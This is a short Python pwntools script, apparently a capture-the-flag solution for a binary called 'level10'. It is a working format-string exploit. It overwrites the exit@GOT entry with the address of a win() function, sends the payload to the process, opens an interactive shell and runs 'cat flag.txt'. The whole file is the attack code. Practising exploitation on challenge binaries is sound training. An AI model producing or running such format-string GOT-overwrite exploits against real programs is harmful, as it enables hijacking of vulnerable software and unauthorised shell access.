#!/usr/bin/env python3 from pwn import * elf = ELF('./level10') # Addresses exit_got = elf.got['exit'] win_addr = elf.symbols['win'] print("exit got: ", hex(exit_got)) print("win : ", hex(win_addr)) # Build a fmtstr payload that rewrites exit@GOT ? win() # write_size='short' uses %hn twice for 2-byte writes #for i in range(1,30): #print("##################### ", i) p = process(elf.path) #p = remote("localhost", 4010) context.clear(arch = 'amd64') payload = fmtstr_payload(offset=8, writes={exit_got: win_addr}) # Send and get shell p.recvuntil("talk about?".encode()) p.sendline(payload) print("send: ", payload.hex()) res = p.recvline() print("got: ", res) p.interactive() res = p.recvline() print("got: ", res) p.sendline("cat flag.txt") print("send cat") res = p.recvline() print("got: ", res)